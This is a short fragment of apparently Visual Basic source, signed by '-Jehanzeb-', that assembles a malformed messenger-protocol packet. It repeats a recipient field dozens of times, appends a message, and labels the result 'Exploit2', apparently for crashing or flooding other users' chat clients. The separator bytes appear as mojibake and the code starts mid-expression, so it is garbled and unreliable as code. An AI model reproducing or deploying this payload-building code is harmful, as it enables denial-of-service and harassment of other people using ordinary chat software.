"À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€14À€" & message & "À€"Exploit2 = Header(Len(Ren), 256, Chr(10)) & Chr(&H18) & String(4, 0) & Key & RenEnd Function

Copyright -Jehanzeb- www.jehanzeb.tk